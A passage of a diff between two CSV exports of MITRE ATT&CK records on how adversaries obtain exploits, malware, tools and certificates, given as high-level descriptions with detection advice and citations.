Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020."", 'url': 'https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/'}, {'source_name': 'Register Uber', 'description': 'McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.', 'url': 'https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/'}, {'source_name': 'Detectify Slack Tokens', 'description': 'Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020.', 'url': 'https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/'}, {'source_name': 'Forbes GitHub Creds', 'description': 'Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.', 'url': 'https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196'}, {'source_name': 'GitHub truffleHog', 'description': 'Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.', 'url': 'https://github.com/dxa4481/truffleHog'}, {'source_name': 'GitHub Gitrob', 'description': 'Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.', 'url': 'https://github.com/michenriksen/gitrob'}, {'source_name': 'CNET Leaks', 'description': 'Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.', 'url': 'https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,False,,,,['PRE'],,,,1.0 -2020-10-01 02:17:46.086000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying) +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",False,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T02:17:46.086Z,2021-04-15T03:14:01.255Z,Exploits,"Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying) In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel) An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation. -Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1588/005', external_id='T1588.005'), ExternalReference(source_name='Exploit Database', description='Offensive Security. (n.d.). Exploit Database. Retrieved October 15, 2020.', url='https://www.exploit-db.com/'), ExternalReference(source_name='TempertonDarkHotel', description='Temperton, J. (2015, August 10). Hacking Team zero-day used in new Darkhotel attacks. Retrieved March 9, 2017.', url='https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage'), ExternalReference(source_name='NationsBuying', description='Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.', url='https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html'), ExternalReference(source_name='PegasusCitizenLab', description='Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.', url='https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/'), ExternalReference(source_name='Wired SandCat Oct 2019', description='Zetter, K. (2019, October 3). Researchers Say They Uncovered Uzbekistan Hacking Operations Due to Spectacularly Bad OPSEC. Retrieved October 15, 2020.', url='https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec')]",attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 03:14:01.255000+00:00,Exploits,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,," -Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",,,,,True,,,,['PRE'],,,,1.0 -2020-10-01 02:14:18.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. +Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1588/005', 'external_id': 'T1588.005'}, {'source_name': 'Exploit Database', 'description': 'Offensive Security. (n.d.). Exploit Database. Retrieved October 15, 2020.', 'url': 'https://www.exploit-db.com/'}, {'source_name': 'TempertonDarkHotel', 'description': 'Temperton, J. (2015, August 10). Hacking Team zero-day used in new Darkhotel attacks. Retrieved March 9, 2017.', 'url': 'https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage'}, {'source_name': 'NationsBuying', 'description': 'Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.', 'url': 'https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html'}, {'source_name': 'PegasusCitizenLab', 'description': 'Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.', 'url': 'https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/'}, {'source_name': 'Wired SandCat Oct 2019', 'description': 'Zetter, K. (2019, October 3). Researchers Say They Uncovered Uzbekistan Hacking Operations Due to Spectacularly Bad OPSEC. Retrieved October 15, 2020.', 'url': 'https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,," +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T02:14:18.044Z,2021-10-16T17:44:09.486Z,Digital Certificates,"Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. -Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for. +Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for. Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ) -After obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1588/004', external_id='T1588.004'), ExternalReference(source_name='DiginotarCompromise', description='Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.', url='https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/'), ExternalReference(source_name=""Let's Encrypt FAQ"", description=""Let's Encrypt. (2020, April 23). Let's Encrypt FAQ. Retrieved October 15, 2020."", url='https://letsencrypt.org/docs/faq/'), ExternalReference(source_name='Splunk Kovar Certificates 2017', description='Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.', url='https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html'), ExternalReference(source_name='Recorded Future Beacon Certificates', description='Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020.', url='https://www.recordedfuture.com/cobalt-strike-servers/')]",attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 02:32:49.507000+00:00,Digital Certificates,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) +After obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1588/004', 'external_id': 'T1588.004'}, {'source_name': 'DiginotarCompromise', 'description': 'Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.', 'url': 'https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/'}, {'source_name': ""Let's Encrypt FAQ"", 'description': ""Let's Encrypt. (2020, April 23). Let's Encrypt FAQ. Retrieved October 15, 2020."", 'url': 'https://letsencrypt.org/docs/faq/'}, {'source_name': 'Splunk Kovar Certificates 2017', 'description': 'Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.', 'url': 'https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html'}, {'source_name': 'Recorded Future Beacon Certificates', 'description': 'Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020.', 'url': 'https://www.recordedfuture.com/cobalt-strike-servers/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Certificate: Certificate Registration', 'Internet Scan: Response Content']",,"Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) + +Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",True,,['PRE'],1.2,,,,,,, +attack-pattern,attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T02:11:47.237Z,2021-10-17T16:19:50.018Z,Code Signing Certificates,"Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. -Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",,,,,True,,,,['PRE'],,,,1.1 -2020-10-01 02:11:47.237000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. +Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1588/003', 'external_id': 'T1588.003'}, {'source_name': 'Wikipedia Code Signing', 'description': 'Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.', 'url': 'https://en.wikipedia.org/wiki/Code_signing'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Malware Repository: Malware Metadata'],,"Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates. -Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1588/003', external_id='T1588.003'), ExternalReference(source_name='Wikipedia Code Signing', description='Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.', url='https://en.wikipedia.org/wiki/Code_signing')]",attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 03:13:16.259000+00:00,Code Signing Certificates,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",,,,,True,,,,['PRE'],,,,1.0 -2020-10-01 02:08:33.977000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019) +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T02:08:33.977Z,2021-10-17T16:17:55.499Z,Tool,"Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019) -Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1588/002', external_id='T1588.002'), ExternalReference(source_name='Recorded Future Beacon 2019', description='Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved October 16, 2020.', url='https://www.recordedfuture.com/identifying-cobalt-strike-servers/')]",attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 03:15:20.491000+00:00,Tool,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-01 02:06:11.499000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors. +Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1588/002', 'external_id': 'T1588.002'}, {'source_name': 'Recorded Future Beacon 2019', 'description': 'Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved October 16, 2020.', 'url': 'https://www.recordedfuture.com/identifying-cobalt-strike-servers/'}, {'source_name': 'Analyzing CS Dec 2020', 'description': 'Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.', 'url': 'https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['SOCCRATES', 'Mnemonic AS']",['Malware Repository: Malware Metadata'],,"In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020) -In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1588/001', external_id='T1588.001')]",attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 03:14:41.582000+00:00,Malware,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-01 01:56:24.776000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T02:06:11.499Z,2021-10-17T16:15:52.805Z,Malware,"Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors. + +In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1588/001', 'external_id': 'T1588.001'}, {'source_name': 'FireEyeSupplyChain', 'description': 'FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.', 'url': 'https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Malware Repository: Malware Metadata', 'Malware Repository: Malware Content']",,"Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T01:56:24.776Z,2021-10-18T12:26:22.831Z,Obtain Capabilities,"Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab) -In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1588', external_id='T1588'), ExternalReference(source_name='NationsBuying', description='Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.', url='https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html'), ExternalReference(source_name='PegasusCitizenLab', description='Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.', url='https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/'), ExternalReference(source_name='DiginotarCompromise', description='Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.', url='https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/')]",attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-15 03:15:21.193000+00:00,Obtain Capabilities,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.",,,,,False,,,,['PRE'],,,,1.0 -2020-10-01 01:48:15.511000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017) +In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1588', 'external_id': 'T1588'}, {'source_name': 'NationsBuying', 'description': 'Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.', 'url': 'https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html'}, {'source_name': 'PegasusCitizenLab', 'description': 'Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.', 'url': 